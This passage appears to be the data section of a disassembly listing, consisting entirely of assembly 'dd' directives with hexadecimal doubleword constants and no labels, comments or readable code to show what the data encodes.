		dd 1221E813h, 84481351h, 4B5FE9ECh, 5F202E36h, 0BD04094Fh
		dd 21129852h, 0DE041C6Fh, 0AD13F160h, 8B982774h, 0A23902D6h
		dd 27F87110h, 151E4C60h, 59259413h, 520527CAh, 4275A068h
		dd 12B1E909h, 7C60A2F6h, 25794A51h, 6218E801h, 2D50D829h
		dd 1509050Fh, 1276Eh, 9F370B70h, 967B050h, 0CA8F0D6Ah
		dd 7AC0620Fh, 0BE564E52h, 0AEF2919Fh, 0CF2D103Eh, 0FD134AC9h
		dd 269989F9h, 2FDB515Fh, 0A88A498Ch, 93905BEh, 219ECBDBh
		dd 0D4AA378Fh, 0D15B97F3h, 1116B9A7h, 0C07F01EBh, 2C62CAE4h
		dd 96D315Ch, 5E15C368h,	0C1AF62BBh, 4C2DC40Ah, 32DDA19Ah
		dd 635907CAh, 0C02D2C3h, 0B82C8525h, 5E897512h,	0B6F0D202h
		dd 4EDCDF6Ah, 0B7203059h, 25349C0Dh, 7AB357F2h,	20D4FD36h
		dd 293BEB71h, 18A192D6h, 2538A9C9h, 0DB51327Bh,	0BA805F24h
		dd 0F1794315h, 9B4015Fh, 0D368155Bh, 2B17BF25h,	876BF41Ch
		dd 0BF4DADF0h, 0EC3020Fh, 8121DB4Ch, 0CB6B73D8h, 1C61770h
		dd 4D82C936h, 0E75EF331h, 7CE92298h, 0DF019079h, 0C1D7F75Bh
		dd 0A06106E7h, 0CEFE930h, 0B2CCE905h, 8900BD5Ch, 312E413Dh
		dd 954E5DEEh, 0ADF684E0h, 8378BB26h, 432D6619h,	0E04EE3F0h
		dd 2A0A4C6Ah, 2E999A63h, 814B3BB1h, 0E2E3210Eh,	700142h
		dd 0D3A95B3Ch, 3A4B1003h, 0A12A883h, 0F3202106h, 5BFC10DEh
		dd 0A002DB83h, 0B71C1968h, 90C20810h, 0DAF722C2h, 3538C152h
		dd 0D602412Fh, 2B7C2E67h, 723C3E88h, 0C566007h,	5FC6B6ADh
		dd 0A1D86BEh, 0A695B12Ah, 0FC7DF293h, 0A965D690h, 0CD0C2EC8h
		dd 83594D07h, 7396FC79h, 500940FBh, 0D965D768h,	0AE002AC8h
		dd 0F2CF5953h, 0A6EF8185h, 0A7E9092Dh, 1D374439h, 0B9EDEBF2h
		dd 0A4BB381h, 44CB0126h, 0F20816B2h, 0CFC1935Dh, 0DD3578E9h
		dd 5F2DC22Fh, 45956E58h, 2C0892Ch, 0ECB5AE5Ah, 90082F5Dh
		dd 9F82999Ah, 73463CE7h, 2BBA0CF0h, 8F55F1FAh, 0AAA44417h
		dd 802426CDh, 88731696h, 5EBC9102h, 689A4C3Fh, 864422Ah
		dd 0F249EA94h, 45BF001Fh, 8169071Ah, 4101AACFh,	0E95653F0h
		dd 34290519h, 88148A01h, 24F80112h, 170058BCh, 0ED81317Fh
		dd 4AC106BCh, 1284C615h, 0E0512309h, 0C01ED861h, 4ADD2D36h
		dd 41EB5C30h, 3E088B27h, 80377699h, 829BD750h, 59CA3681h
		dd 4D615152h, 0DFA6720Bh, 0BEF95439h, 0AE5CFE3Ch, 9203746Dh
		dd 1C2A9D4Bh, 8211680Ch, 0CFE94622h, 56256A7Eh,	20234FC4h
		dd 0C057F6Eh, 62B18583h, 32E6180h, 32474DADh, 5D0010Ah
		dd 505A050Ah, 0EAF00855h, 9B21BA17h, 0FFFED029h, 2297DF9Eh
		dd 0C844E97Ch, 7ABBFCEh, 313D7D10h, 0F10BCEFDh,	3CEC6790h
		dd 0F06FBB25h, 8C351FCh, 94169331h, 735F0BDEh, 0E68974ADh
		dd 30086708h, 0BE24161Ch, 0E95A410Bh, 7FA4E229h, 0E5E28B33h
		dd 0F5802A6Ah, 2B28BFB2h, 5060F4F6h, 118F717h, 9F4C731Ah
		dd 0CC953594h, 0A9E924F4h
		dd 5AE5AF6Fh, 0DDB7539Ah, 0B420D896h, 0C13EE1DAh, 0D1CFFE17h
		dd 0ABE43050h, 5BF8881Ch, 588EC71Fh, 0C68DF628h, 60509542h
		dd 9ABA686Ah, 55F95240h, 9874A5Eh, 0D2BB81BBh, 0E8167072h
		dd 23B52077h, 141AC125h, 0D61B8B08h, 0BD54DA45h, 9FAAF11Fh
		dd 14F13EB0h, 9DDF5FABh, 0D9BF8657h, 0C71B346Bh, 0E8C451A0h
		dd 0FE4289B8h, 2CC3DA01h, 10AF661h, 9C935153h, 0FF0CC1Bh
		dd 532F70B4h, 1E596BE7h, 84545662h, 0A91312F7h,	5BD44DEBh
		dd 0E909CF2Eh, 1DCABB5h, 232DEB82h, 2F7410Bh, 21724100h
		dd 0CD071B76h, 408D1F44h, 3FA3F5C0h, 94A0C71h, 0C4465DEFh
		dd 0A72BEDB5h, 0D720EB6Ch, 0F3860EC5h, 0F74CFE30h, 523C6608h
		dd 0D6F61D88h, 869F0F24h, 84FB2837h, 0EDA0C836h, 5ECD5C89h
		dd 0AE01AA12h, 4BA98C34h, 2078167Bh, 0FD4D0A67h, 0A25A3BFCh
		dd 42B9019Fh, 416C897Ch, 297272EDh, 0CC8D2612h,	8E4AB27Dh
		dd 0C8F65A2h, 0B06AA2D6h, 95D060E9h, 18C22193h,	0D12338DCh
		dd 0A1E1983Dh, 78E3C016h, 2DDB5A06h, 0CAD63AEh,	631A6468h
		dd 0BDB14054h, 791BF704h, 4CF03158h, 0A3414E83h, 0A5E79387h
		dd 33BA5200h, 0E920FB6Bh, 7DB5C15Eh, 63BEEE80h,	4E0D2319h
		dd 0A86C76FCh, 13451C9Bh, 814E37Bh, 68013B71h, 387712A4h
		dd 17DBA570h, 0B103EBC1h, 60C895Ch, 13800343h, 8031023Ch
		dd 5A57FC30h, 802FC1F1h, 8D22EC77h, 9229493Eh, 19000B2Dh
		dd 282CABBAh, 0BE6B1C7Ah, 85BA6715h, 0AB7C2D68h, 69BBD030h
		dd 5B8F0025h, 7192CB81h, 0D4B86509h, 3812A501h,	7C676822h
		dd 0AA10CF26h, 0F45D2E11h, 57419103h, 3DE6B018h, 68F2854h
		dd 78391DA1h, 0DA644Eh,	7CF62649h, 0C898D629h, 92EABD25h
		dd 0A20B5F14h, 527AAED4h, 0F8822F17h, 0C2785F24h, 67405F6Ch
		dd 920141DAh, 0E9D301C5h, 0D32ECD21h, 32B14707h, 18F96881h
		dd 0EF0C09FBh, 9730FE9Eh, 3CC01369h, 0FC881DA7h, 22A5DF8h
		dd 2E6ADEB9h, 454EE168h, 0CB6F7064h, 3FC25C8Ah,	0CBD89683h
		dd 84C19702h, 7D3F6E26h, 870612BAh, 0E917DD02h,	75349269h
		dd 95EF489Ch, 5C44C75Bh, 0C7469BAh, 0FC25E99Eh,	35B398D5h
		dd 23E7B59Fh, 89AE2D3Fh, 0A6F1A0C0h, 0F971A217h, 627F30DDh
		dd 0FD48EE35h, 313A2BDh, 7B004EEFh, 3B2C2341h, 0C0299C29h
		dd 1CEF6035h, 9CB8D58h,	26C5DADh, 5AA40FE5h, 0A2952BB3h
		dd 0EE010B4Ch, 5140A171h, 3E36A4B9h, 0E1000FDCh, 2956069Eh
		dd 0BE650AE9h, 4B8E5B44h, 0E93AB102h, 91D3EF6Eh, 0EE8C187h
		dd 553C56E2h, 0CCF4834Ch, 0B45D2340h, 0D9AC1Eh,	30BF5750h
		dd 0FD90B219h, 0E29CF5Dh, 0C23D6BBEh, 5DF72905h, 8277E16h
		dd 952D4E9Ah, 3C77860h,	0FEC9369Eh, 0EDE9C2EAh,	0E752C4A7h
		dd 5AD722DAh, 34E6EC91h, 0A34A0F32h, 8A4EBA44h,	0B29B43BCh
		dd 7FF508D8h, 809752FCh, 53E2D1C6h, 7AB52768h, 508651E6h
		dd 40A8C297h, 0A5B2569Ch, 0A51837D4h, 96B8A26h,	51245568h
		dd 34A782D6h, 0A6E043D3h, 0D307036h, 233B0C6Eh,	29322E55h
		dd 9DE94257h, 0DB958758h, 0CFFE37Eh, 89D6F110h,	0D7C8A17h
		dd 0D2B88853h, 0DC5134E1h, 0D558F6FDh, 51EA3FA2h, 0D65A329Fh
		dd 85000C2Dh, 58B97FF9h, 5EB12Dh, 1CD8BA14h, 0A0942CA1h
		dd 0AB10C124h, 3942B440h, 0E9CAFC2Eh, 0D2401392h, 59803994h
		dd 4CACAA6Eh, 0B44E14B1h, 124E9F2h, 0A4C2D6D8h,	0D213640Ch
		dd 0B71E01DBh, 0EC2B7F12h, 0BD80A2D2h, 6C251778h, 5A44016Dh
		dd 2DF166h, 7C135755h, 11EE0316h, 2937A147h, 8A410B5h
		dd 0FD1FE909h, 0ED20E967h, 58C2864Ah, 6AF45905h, 9610A9h
		dd 0F2815A5Eh, 49793A7Dh, 0E9175031h, 2B70F115h, 55336E0h
		dd 0F380E2B3h, 8E9804Ah, 360BB050h, 162F99E9h, 0B29EC9h
		dd 3AB71627h, 0D6944C29h, 0C845DD0Bh, 0C917197Bh, 80D2F70Ch
		dd 6488D127h, 0FB3AB7B0h, 0D5192CDBh, 152AC7A6h, 109FFEA5h
		dd 52CC4E3Bh, 0EE009F50h, 0B853A01Ah, 51662A09h, 1B0950C2h
		dd 0C73196E9h, 15CC4805h, 4E822809h, 5B0786F7h,	10C4018Eh
		dd 5EE90819h, 0DB22A91h, 0EFB57948h, 2C0D6E36h,	819ADFE9h
		dd 8C6027BBh, 521705Ah,	1685100h, 0E9FD2B9Dh, 4C839A2Eh
		dd 7E029BADh, 494BF674h, 6BC06A40h, 0F731D100h,	44C25D0h
		dd 0E0D62DFh, 86F41C68h, 5D806292h, 0C183CB8h, 0D8F767A6h
		dd 0C3F0504h, 0E9D0844Eh, 31AB329Bh, 0C9FA89AEh, 0ED3860D6h
		dd 0C8A1EEB1h, 0EC91AEBEh, 0E4D3F68Eh, 9AC93F2h, 49F79A1h
		dd 84EF7DD9h, 2D6880E0h, 6A937F43h, 7E481BC1h, 1CABAECCh
		dd 0DC50C55Fh, 37E94647h, 0E4273B20h, 127A7B6Ah, 0D795BC55h
		dd 0C125B9F9h, 0C4BF4CBh, 4BB0095h, 0CEFF355h, 81039451h
		dd 0F48D3B5Ch, 0EBE28CF1h, 0F86878C2h, 7F4BB21Fh, 59475953h
		dd 46850373h, 0DEF76143h, 2360D692h, 0A45C72C5h, 8A5A10E5h
		dd 1A83354Eh, 98CA5D1Ch, 9AACFF65h, 1DC0704Bh, 822A46F2h
		dd 215DEF31h, 97E4645Dh, 84F154Eh, 409655E0h, 0EF5BE926h
		dd 3058B002h, 0D0A9FFF0h, 0E9502F54h, 0A2095F41h, 526DD6B4h
		dd 0E22A02D5h, 362096E2h, 9E0CE952h, 20E1246Ch,	44AF299Bh
		dd 91F1A5FBh, 0B91BE941h, 2AC1D328h, 3E549B0Ch,	0AFD59581h
		dd 9C21EA0h, 0DD2096B3h, 0E9C107DEh, 2492C7A6h,	2A11CA58h
		dd 403078BBh, 70CCC71Bh, 0C4295F63h, 0E40717EFh, 0F020E9ECh
		dd 0C009811h, 630A5DE4h, 3903DD0Ch, 76E96E5Ah, 56740A86h
		dd 0A4B90268h, 4A8C10A0h, 8D3F1BCDh, 7A0DA5B5h,	21E92F41h
		dd 97504287h, 0AFC3B4C8h, 25D6668Ah, 10A0B96Fh,	0BA033730h
		dd 77E13C15h, 9C7A48D2h, 861F9181h, 0CB0159AFh,	52E09F06h
		dd 6880B770h, 325F5FF3h, 0B26BF441h, 9F1E63DFh,	69622705h
		dd 1F8050CFh, 2C426AE2h, 6252A39h, 40094066h, 82342590h
		dd 1E332D9h, 1CA9E9C3h,	98E0712Dh, 2680597h, 0E9197339h
		dd 0D4697A5h, 1277BCBDh, 0EA01BBE9h, 5DF15329h,	18EB807Eh
		dd 59038C69h, 4658C689h, 0D101A083h, 275490E6h,	1EA9F904h
		dd 80B4AF57h, 0CE1A14BBh, 0ECE91728h, 72A3B38Dh, 4229408Ah
		dd 132F99EEh, 29C3471Eh, 0F9FD3CBh, 0EBD260Fh, 4A75CF4Dh
		dd 79BDFB6Bh, 2FE5530Eh, 2F072C1h, 0F0AA3CF8h, 8CEA2992h
		dd 4934E9CCh, 0AD91F730h, 0D42E95C1h, 8C29EB3Ah, 989ED68h
		dd 0E943248h, 9DBEC697h, 74EDC6E8h, 1828692Dh, 26685E4Fh
		dd 6AD13ACDh, 18F008EFh, 84F6983Ah, 0F8EDB27Eh,	617BED80h
		dd 6E3344F5h, 7EE8BDD9h, 60319470h, 16302BB0h, 14E7C12Eh
		dd 25AC92ACh, 963DA40h,	267997DCh, 0BAB3E904h, 54BFBC88h
		dd 0AB83201h, 4A0E7A90h, 0D751AFF1h, 870B31A8h,	864AB46h
		dd 0F2ADD107h, 0D66E249Eh, 4BF79C57h, 3F708F76h, 1D301B02h
		dd 7FDF212Ch, 0DC71900h, 0E944C1Ah, 42175C81h, 0A074290Ch
		dd 430F5C71h, 2C0450C9h, 90ECE3FDh, 1314ACEh, 0DD3E844Dh
		dd 645C31D5h, 0F3955598h, 1AE46996h, 616DB2B5h,	0E5050307h
		dd 13CACD7Bh, 0B8716415h, 0AE04D4B3h, 0F64FAF86h, 27DC9C0Ah
		dd 0BDA60D51h, 65CE6800h, 0EEE94C09h, 0EFF19ECFh, 9F83E69h
		dd 0C1E95D4Ah, 0E5AFD13Dh, 0B5351300h, 1C68F223h, 0A7A0D264h
		dd 2E620D38h, 8310F137h, 4AF58003h, 0BFD3E828h,	24D38F49h
		dd 57C0775Bh, 0BADDE3E9h, 36A6007Fh, 0E0C122B1h, 0E85BD102h
		dd 350652C0h, 0EAF013CCh, 406BA87Dh, 5302D0F9h,	0BEE921FBh
		dd 0FC98551Ch, 248014A6h
		dd 0D8F60E96h, 0E44FAA2Ch, 212160A9h, 2106E2C0h, 9162AF3h
		dd 157BBB93h, 8EBD2CDCh, 4E45F307h, 0D10904C8h,	4E068BDh
		dd 5E2D73C2h, 0AF5E9DBEh, 0B5BC4DFAh, 9F80F492h, 9373F968h
		dd 2C5E01A0h, 804F3694h, 8F612AC8h, 9722E976h, 2C5C8B61h
		dd 0D472A49Ah, 1338F6B8h, 3228FC20h, 5D081450h,	0DA2D304Dh
		dd 3D6E21DAh, 32EC0AA5h, 0F301CDA0h, 7DF67421h,	95348AE9h
		dd 22F14C01h, 970EED24h, 7BC6E255h, 5241D327h, 362D20B1h
		dd 4E054004h, 810FE4h, 5D029A1Dh, 5F52CE40h, 2F14023Eh
		dd 98E8074h, 4B840FC9h,	68EE025Bh, 94712991h, 42EA95BCh
		dd 95503C5Bh, 6F77411Ah, 41FCCCA0h, 0B63C4F47h,	77330965h
		dd 43BD0019h, 18BE8ADEh, 0BB01A4E9h, 2BFF104h, 0E4346A03h
		dd 0D0A44D1h, 6B312EE5h, 2768BBCEh, 0C956F396h,	89D17CD2h
		dd 0B3FC823Dh, 0C19904C9h, 680A07E2h, 0DADE70DBh, 0F26CC959h
		dd 0BA45A45Ah, 0FA182FDDh, 5E7FEAA0h, 0B54C46h,	96342F67h
		dd 0DA011313h, 0CC08045Bh, 5630EF22h, 1965307h,	54CA816Bh
		dd 34098248h, 0A509EA9Ah, 569469A4h, 0F2010969h, 0F12FBEE5h
		dd 4A270875h, 83E77169h, 55BBBF57h, 0DE725ACAh,	0DED5B84Eh
		dd 7A14F782h, 7B60000Ah, 25480CD6h, 3D3A56A1h, 62F8443h
		dd 4DC2698Eh, 0A6820AADh, 5889BA0Ch, 2750C2Ch, 763CCAD1h
		dd 0C7D245F1h, 0FE1AA180h, 2EDAFF4Ah, 3F89CFD1h, 0A2BDEEDBh
		dd 59C6C09Dh, 530596E8h, 2AD8E1h, 9059CD29h, 3BA60E32h
		dd 43DE60BBh, 6837CA5h,	1F01CE00h, 0B0252214h, 2B332542h
		dd 40016A58h, 0BFAC0548h, 0E6350A0Dh, 971D1C3Eh, 0A3175334h
		dd 0BFE54ACBh, 3D6CF5FDh, 532D4801h, 40C17BC5h,	75E9EB20h
		dd 2D349C49h, 2028CC0Bh, 0BB013D21h, 713550C1h,	0BF0D989h
		dd 4A19A2D5h, 841EFF43h, 4BE98340h, 316109AAh, 9784167Fh
		dd 0EA9294E5h, 0FBE544FCh, 0F9590549h, 0BF51E5E5h, 54EF3E74h
		dd 49702B73h, 0FE2E3A80h, 0F02158ADh, 835ED3CAh, 2705DAA7h
		dd 5066222Eh, 2CEBF0D2h, 3A0E58C8h, 0AB684D3Eh,	0C461B05Fh
		dd 0B2C126C5h, 0B0072FB0h, 0A8D7624Eh, 48F9159h, 0A50E4F5Ah
		dd 0D36AD77h, 0BD55006Bh, 70777E8Ah, 9D9AE4E9h,	3AEB6817h
		dd 1F5E8D2h, 3A1C4721h,	0DDEA6E23h, 267844B2h, 69291AFDh
		dd 0D096C59h, 351D2D7h,	60FB7E29h, 2AC7EB01h, 0E91C3508h
		dd 0C15D0655h, 192003E3h, 6E8E7A78h, 5C1F24D0h,	0E8BF9BBDh
		dd 0DD03E868h, 0BFC758ABh, 37025F45h, 0EAC15A25h, 405E4205h
		dd 220C0D29h, 0E6F2BA39h, 923ED20Bh, 7A75D824h,	54F60008h
		dd 890EDD41h, 0CB71E9F5h, 1D8057DEh, 0C15E191Ah, 93024CE6h
		dd 9A035404h, 2600EF20h, 3B272B61h, 0C2569989h,	0CD430E9h
		dd 0A9481A25h, 2030CC6Bh, 4112EEE6h, 48ACE1C1h,	0D4C7FCC1h
		dd 0CC6E8219h, 5D5D6C05h, 809EE4Ah, 0A4F18D82h,	0D1C5BBA0h
		dd 474C460Bh, 0BAEE547Bh, 293D65FCh, 0A2BD2C61h, 3C10189h
		dd 0A532687Dh, 1B0919ECh, 2002A412h, 0C0E8FDDh,	4A7F60CAh
		dd 27CEE62Ah, 0CC1D094Ah, 0AC8385B7h, 0DF360A1Dh, 0A5CD9DAAh
		dd 58528574h, 1C401C8h,	2BE96A6Bh, 0E20F0407h, 6FE04538h
		dd 0A0724BFCh, 0B60A8908h, 0F10496B2h, 2B3C35EFh, 60373D80h
		dd 0F262B751h, 3C647DDEh, 1E4697F1h, 0CE92C03h,	96AD9D69h
		dd 0B3E4807Ah, 0DD7F301Fh, 5AD13CF1h, 0F8F8B5CCh, 39A49D55h
		dd 4297EAC5h, 0BD4376BEh, 0C305EBC0h, 2610E66Fh, 0D8EDD1h
		dd 68AE305Bh, 0C7E65351h, 0C594617h, 4F058E41h,	89223F18h
		dd 4E100979h, 9E5E9A08h, 0B6E9290Eh, 9CA20312h,	8842B88Fh
		dd 8F569401h, 1BE9A73Ah, 941E9D14h, 0D0919A9Ah,	356812E5h
		dd 1457462Bh, 0F604D103h, 58624BABh, 72BD3480h,	219F2DB4h
		dd 9600559h, 2C850FDBh,	4FB12D1Dh, 0C9A9904Bh, 24323800h
		dd 213C0E7Dh, 30688CEBh, 40EF7346h, 0D002F71Ch,	6FFCBE56h
		dd 61194031h, 88E09420h, 1B2D9F70h, 30BCD9A1h, 6B408D7Bh
		dd 462E86h, 719E10C1h, 11E9DEF7h, 120ECC49h, 0DCA359C8h
		dd 6EE7C65Fh, 498C9025h, 892A0B62h, 2EBFECAFh, 68817E5Eh
		dd 8A7EDDB8h, 76E64B05h, 19DAEA07h, 50242CA4h, 275D3218h
		dd 2046CA0Ch, 87056909h, 2959DF3Eh, 81A7DD4h, 94142F0Ch
		dd 62C9020h, 944CE95Bh,	685F268Ah, 60462EB9h, 5B17022Ah
		dd 5FC14297h, 84131EABh, 9AFD12BAh, 0CA91FE3Eh,	8D5393EEh
		dd 0B5227C35h, 518083A8h, 9A85F0B9h, 0E5F5C7Bh,	0AA91317h
		dd 92FFA35Ah, 0BF2E2044h, 0BB7BCCBBh, 0C892FBEEh, 3DC54020h
		dd 9DDD5048h, 72061E1Ah, 1F90260h, 92718BFh, 0EB3BBE2Ch
		dd 55EEA9h, 994CA4E5h, 4078B818h, 0CE0BBBB2h, 844D7D16h
		dd 37BB3384h, 511948E7h, 0AA04D62Eh, 9DF0B799h,	95389528h
		dd 0EC90B353h, 0E93DB50Bh, 2DC12094h, 4EEF1B81h, 419BE82Bh
		dd 7B0A3607h, 6269610Bh, 0A05547Ch, 0AD8EDBE2h,	0D609A679h
		dd 0C9AADC2Eh, 0D45EC4A4h, 4A02FED5h, 0DECF28D5h, 0B8F81642h
		dd 620F4B8h, 74566866h,	5929A00Dh, 0E6C283DAh, 135894F7h
		dd 64277668h, 208B323Ch, 0F5810AC8h, 0B745440Bh, 92B5DE07h
		dd 3B5D06DEh, 5A162C10h, 0B7A25452h, 0C10C794h,	0C16809A6h
		dd 63F6DE7Ch, 0ED4CAC16h, 499C1888h, 7AE6F60Ah,	7663BDFBh
		dd 37C31208h, 10EB1B3Ah, 9D1A599Ch, 2570832Fh, 675E09A4h
		dd 0E9568485h, 4B9BB985h, 608799E0h, 6AEEE37Bh,	104C840Eh
		dd 73B90601h, 27E858F9h, 0CE8AA3E9h, 8FE0406h, 0FC7EAEAh
		dd 0A1F2640Eh, 57F13984h, 0F590442Fh, 0A426BEC1h, 6B681714h
		dd 57588C34h, 39D47616h, 0AF2BA80Ch, 46940FCFh,	7466771Bh
		dd 1FB01638h, 0E8620B4Eh, 32B789Ah, 8E1A36BEh, 0C2D95570h
		dd 0EE316BF1h, 25398F4Ah, 7EAB29CDh, 138A0314h,	9CEC0726h
		dd 0BF53ABC7h, 1C7C0BA9h, 0BFED9054h, 0E2800B01h, 128844F8h
		dd 68C502C4h, 354665AAh, 0F90AAFBCh, 1C4A4AE7h,	0D942FC26h
		dd 0F15D07FEh, 433FBE05h, 2DBBF0FAh, 3BB30F55h,	955F9BB4h
		dd 0C6207380h, 0D648F658h, 543A2537h, 0F76E622Ah, 5DF2F1A0h
		dd 1A38835Fh, 0D610E04Ah, 95297820h, 29C856E1h,	79E225BFh
		dd 1E6E62AEh, 0E06862C9h, 81F6431h, 0F85A4F5Fh,	884FFE2Dh
		dd 0EF82C155h, 858D059Bh, 1FF0C4DAh, 80480EB0h,	0E41CC3C2h
		dd 4E402F24h, 7E4AE5E9h, 5052CA20h, 885137B0h, 4CA0F7DEh
		dd 230ECD57h, 0C034B346h, 0B70326EDh, 37E92466h, 32688E19h
		dd 0B9154D32h, 0EF913A8Dh, 0CA4C5887h, 40BDB054h, 679F592Eh
		dd 0AB22A7D3h, 162F5188h, 3FBD0394h, 451FC817h,	82387A20h
		dd 1F747D4Eh, 56646052h, 58572D50h, 2D92DF89h, 0ED2901A2h
		dd 0CBA5904h, 3C5F33CBh, 0EE4DE760h, 76442261h,	1D21F8B0h
		dd 496E7341h, 41F1F6C1h, 5012314Ah, 0DECADC0Bh,	5DB109D2h
		dd 0A92FAA27h, 8095AA64h, 282EF20Eh, 24B5BB04h,	120C207Fh
		dd 49E8215Eh, 6F845D58h, 5330B085h, 85454D9Fh, 0FBD803E9h
		dd 19F47344h, 0BB05BA04h, 0D7313104h, 6B019981h, 4A803C12h
		dd 36EA46F3h, 8B78E91Ah, 64145DB2h, 0E995D562h,	7A8DDB1h
		dd 67AA029Dh, 0D3C41F8Bh, 90EEF720h, 9BD07A86h,	0ADB608C7h
		dd 46244928h, 409E228h,	8D2757C4h, 9ECD073h, 587DE188h
		dd 0C81DFBB8h, 5A72B753h, 0C0AD0593h, 6C718054h, 8F2D1F7Ch
		dd 0CF10E8C6h, 146EBDE2h, 0AB685009h, 29572E3Eh, 97B164A9h
		dd 614B33D2h, 77FBB5C4h
		dd 9B77D23Ch, 0F0FA4457h, 2506B4AAh, 94C201DEh,	35BE0078h
		dd 0E9E59A6Fh, 0B7186417h, 2B2ECD77h, 0B8408009h, 0F678A428h
		dd 0E32A4EC3h, 0FE5CC559h, 0A5643008h, 0CC450A56h, 0AA87ED4h
		dd 16F3EDA4h, 0ACCC264Ah, 3D18BD34h, 5E807C7Bh,	978B853h
		dd 6D1D750Bh, 0B1E1D207h, 2028F034h, 661F1F81h,	0C100577Ah
		dd 4E19738Eh, 0CACB5A89h, 0AF4B2863h, 7A97E04Eh, 9ED0F275h
		dd 1C9E68h, 455D698Fh, 5AF8E581h, 3F40313Bh, 0FEE784C5h
		dd 86AA89BFh, 16593A20h, 0CDE75AA4h, 0E985774Ch, 2DCD53F0h
		dd 134F321Ah, 31EF177Ch, 2F626648h, 3B161431h, 9371F62Fh
		dd 0D02D27BBh, 447B0BE3h, 7BC02B49h, 56D5BF07h,	0F122DE89h
		dd 58F8D65Eh, 0BA9505BEh, 849160B9h, 82889A25h,	401FA93h
		dd 0A28E6A49h, 816BA01h, 0F9895D44h, 77E7E882h,	719C1098h
		dd 56790325h, 0F8263F0Dh, 0FA7E5A4Dh, 7FFA80B8h, 97535B9h
		dd 0F3E09F87h, 7582CA18h, 2055F889h, 0A20F854Fh, 0EE8B72Ch
		dd 0DB9789FEh, 0A0D8A754h, 4ECCAC5Dh, 0F2B701FCh, 7D832580h
		dd 0DC5F39DEh, 2F774381h, 0A0D60C3Ch, 6E256817h, 2987363h
		dd 6FFD437Dh, 0BEA1037Dh, 0B001AB16h, 5C65F3C9h, 0F13859C7h
		dd 3167060Ch, 813AE0Ch,	79847C1Bh, 2C534182h, 58F252C1h
		dd 18498449h, 2CAF4731h, 70EC9DFDh, 49FB4925h, 0C4926D58h
		dd 506EACEAh, 9409F55Fh, 565AC039h, 0E7A840B9h,	0A5A1FEE4h
		dd 0E9D6345Dh, 48796237h, 13768353h, 0B324C579h, 279B4373h
		dd 0DC3D0954h, 1C5849DDh, 50677B13h, 0BF5F288h,	4B755276h
		dd 0BD91A3C0h, 0C33F4A25h, 2DE898C6h, 0B46B02E6h, 98EDE935h
		dd 41FDBFF2h, 0A41A36h,	0C2D3F74Bh, 8EAFB456h, 0E5C64640h
		dd 6A374712h, 16280A01h, 943F0C68h, 0E90805C6h,	0ACAF42F5h
		dd 96C21C2Ch, 5205DF54h, 2EC1AAB2h, 34EC049Dh, 0C23013B4h
		dd 0FDC0E158h, 0B5FA30BDh, 7AE9160Dh, 9340A1E1h, 0DF186220h
		dd 0C7DB536Ch, 5BDF7211h, 0D197F44Ch, 0CD5F17C6h, 6FF10372h
		dd 0FC682709h, 0FC9D8B4Dh, 0E0022731h, 0AAF65D59h, 0E942CBC4h
		dd 9C5FF406h, 113995E0h, 7044FA7Fh, 800A590Ch, 0E89B0C15h
		dd 76304842h, 806B841h,	8914810Ch, 0EEDA047Eh, 0DF244958h
		dd 94F7001Bh, 580BAC6Ch, 0B19117FEh, 6602B021h,	0BF65B02Fh
		dd 21252376h, 555A09F5h, 3AE9E1B0h, 72ABAA54h, 0F8363807h
		dd 4A77B1E8h, 0BE789D71h, 0F142FBEBh, 0EEEB6AD1h, 843F3F06h
		dd 1AE014BBh, 2C5C16E8h, 30FCE912h, 13392DCCh, 0AD4D0761h
		dd 8FF30223h, 5523187Dh, 0C2954B14h, 2BA0030h, 0B56EB34Dh
		dd 7D232760h, 0FB27419Ah, 859FD45Fh, 81E12673h,	5B49B25h
		dd 2D5920EBh, 26608675h, 0BAA88E0Ch, 0FA092D69h, 56F202C0h
		dd 0A0365B26h, 12B59588h, 13C1229h, 113CEDB0h, 7C69F961h
		dd 0BF680B29h, 52B2D61Eh, 10D6E57h, 35CB156Eh, 0AF6AED81h
		dd 0E9F5400Dh, 0EC1A4E8Dh, 0FCAFF17Bh, 0A94F6D22h, 3295EFAh
		dd 6D585666h, 0E45E440Bh, 0C1F73507h, 54298513h, 0FBB8292h
		dd 27E8540Bh, 0E941F67Bh, 0DB68744Bh, 7D895089h, 8C74D929h
		dd 653C2582h, 0A1380254h, 496C760Bh, 1DA08422h,	5EF390A1h
		dd 8BD2E45Ah, 7E0445B3h, 7184EB3Ah, 977F5E4h, 6C0155BCh
		dd 0CA00DD1h, 7B45D59h,	7C087FF7h, 0DCEEFBC2h, 6076A59Fh
		dd 853EADA4h, 74A76807h, 0BD5231AEh, 4DB900EFh,	2F822671h
		dd 95D01AE0h, 0C620D07Ah, 33BE09D6h, 1F83A36Dh,	0E0A160EEh
		dd 0E4F6D86Fh, 48492Fh,	8F46EDCBh, 0BCE97040h, 17E5EB4Dh
		dd 2B63E909h, 2FD6F620h, 60A7B9F3h, 96D5E992h, 5C481C4Fh
		dd 820DC040h, 5208678h,	63B6350Bh, 0BF29A8h, 0A53734ABh
		dd 65ABB918h, 65AB21h, 7184B6F5h, 0EBA5CFE9h, 28E6CC41h
		dd 0A13E6086h, 74F52BA8h, 317098D8h, 33241B91h,	6A71216Eh
		dd 3AE4FD91h, 903AE831h, 2EECE6E5h, 94207B28h, 4D13ED06h
		dd 27522123h, 0F903DFE9h, 76BAEF30h, 4828CF76h,	0E390A391h
		dd 0CC7E0951h, 500251D0h, 591EA1B8h, 0C69EE162h, 4C408015h
		dd 6CBD0824h, 0C5A15E34h, 4A07FA4Dh, 3FA459EFh,	942F96D9h
		dd 0B02CF85Ah, 9C541D68h, 3BF74927h, 8C97A5CEh,	7B72B553h
		dd 0A4D302B3h, 0CF894374h, 0A9EFB140h, 7C305A14h, 0F10524A7h
		dd 0BD045203h, 3CFF83Bh, 48EE020Eh, 1756E947h, 9B8A874h
		dd 57539618h, 0FA467D0Bh, 5BDA2912h, 62EFB513h,	0ADD9BA6Ah
		dd 7F0BD12Ch, 0C9DE74B4h, 0FEAE1584h, 0BAF52C28h, 5F592F60h
		dd 0F6D253C3h, 38169EA9h, 210AC9A4h, 8485D3Eh, 93738C00h
		dd 0C097E977h, 1A52BA2Dh, 4A4C406Eh, 753306B1h,	40C2E2Ch
		dd 50B837Ah, 1BA8509h, 0EE743572h, 0D9A52EC7h, 9330C961h
		dd 0CBDAC109h, 6BB620E9h, 9C7AD069h, 9E40F483h,	130092Dh
		dd 95B03771h, 4DBC9AE9h, 288CF127h, 8A205448h, 367141CBh
		dd 0F9EE2AF0h, 59FF0BB5h, 0F088B708h, 0E921512Dh, 5B2404Ah
